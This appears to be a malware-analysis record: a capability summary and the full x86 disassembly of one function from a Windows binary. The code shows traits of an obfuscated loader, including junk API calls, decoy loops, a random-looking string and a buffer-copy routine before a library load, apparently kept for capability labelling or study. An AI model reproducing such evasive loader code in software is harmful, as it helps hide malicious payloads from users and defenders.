Function at 0x40bd31
Capabilities:
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1060
call fcn.0040aea0
mov eax, dword [0x425090]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
xor eax, eax
cmp eax, 0x180
jne 0x40bd66
mov ecx, dword [0x4287c4]
add ecx, 0xa231
mov dword [0x1f70004], ecx
cmp dword [0x1f70004], 0x141
jne 0x40bd83
or dword [0x42935c], 0xffffffff
mov dword [0x429358], 0xec58acac
inc eax
cmp eax, 0x12376ec
jl 0x40bd4d
push esi
xor esi, esi
cmp esi, 0x562d05
jne 0x40bda0
mov eax, dword [0x425fb8]
mov dword [0x1f70134], eax
cmp dword [0x1f70004], 0x3c
jne 0x40bdb0
push ebx
call dword [sym.imp.KERNEL32.dll_LocalLock]
inc esi
cmp esi, 0x5f6c74
jl 0x40bd8e
cmp dword [0x1f70004], 0x7c
jne 0x40bea7
push edi
lea eax, [ebp - 0x1044]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea eax, [ebp - 0x101c]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
xor eax, eax
mov word [ebp - 0x1034], ax
lea edi, [ebp - 0x1032]
stosw word es:[edi], ax
mov word [ebp - 0x1030], ax
lea edi, [ebp - 0x102e]
stosw word es:[edi], ax
lea eax, [ebp - 0x1060]
push eax
push dword [ebp - 0x1030]
lea eax, [ebp - 0x1038]
push dword [ebp - 0x1034]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
xor eax, eax
mov dword [ebp - 0x1058], ebx
lea edi, [ebp - 0x1054]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1058]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFileScatter]
push ebx
lea eax, [ebp - 0x1004]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
lea eax, [ebp - 0x1040]
push eax
mov dword [ebp - 0x1040], ebx
mov dword [ebp - 0x103c], ebx
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
cmp dword [0x1f70004], 0x11
pop edi
jne 0x40be8f
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
push 0x42307f
push 0x4292d0
call fcn.00401b21
push ebx
call fcn.00402008
add esp, 0xc
cmp dword [0x1f70004], 0x110a
jne 0x40bf78
push ebx
push ebx
mov dword [0x1f6fff8], ebx
mov dword [0x1f6fffc], ebx
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea eax, [ebp - 0x1038]
push eax
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push str.vujahebetunagubidiyuxugacazezon
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
lea eax, [ebp - 0xc04]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push ebx
push ebx
call fcn.00401f40
push ebx
push ebx
call fcn.00401f40
add esp, 0x10
xor eax, eax
push 1
lea esi, [ebp - 0x1020]
mov dword [ebp - 0x1008], 7
mov dword [ebp - 0x100c], ebx
mov word [ebp - 0x101c], ax
call fcn.00401091
push ebx
push ebx
call fcn.00401f40
push ebx
call fcn.00401dca
push ebx
push ebx
push ebx
call fcn.00401b21
add esp, 0x18
push 1
xor ebx, ebx
call fcn.0040104c
call fcn.0040ba44
xor ecx, ecx
cmp dword [0x1f70004], ebx
jbe 0x40bfca
mov eax, dword [0x1f70134]
mov dword [ebp - 0x1030], eax
mov eax, 0xa231
add dword [ebp - 0x1030], eax
mov eax, dword [ebp - 0x1030]
mov al, byte [eax + ecx]
mov edx, dword [0x1f6fe4c]
mov byte [edx + ecx], al
mov eax, dword [0x1f70004]
cmp eax, 0x5ab
jne 0x40bfc5
mov dword [0x1f6fe50], 0x19b0
inc ecx
cmp ecx, eax
jb 0x40bf87
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.0040ba99
call fcn.0040ba7b
call fcn.0040bcc2
xor eax, eax
cmp eax, 0xd606b
jne 0x40bff2
call fcn.0040ba70
inc eax
cmp eax, 0x24e87d
jl 0x40bfe6
mov esi, 0x1e4165
cmp dword [0x1f70004], 0xcc1
jne 0x40c014
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
cmp dword [0x1f70004], 0x7c4
mov dword [0x1f6fe54], 0x8e46a6f0
jne 0x40c032
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
dec esi
jne 0x40bfff
pop esi
cmp ebx, 0x408e
jle 0x40c04a
cmp dword [ebp - 0x1024], 0xf5bed7
jne 0x40c053
inc ebx
cmp ebx, 0x687ed2
jl 0x40c036
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00401ab5
leave
ret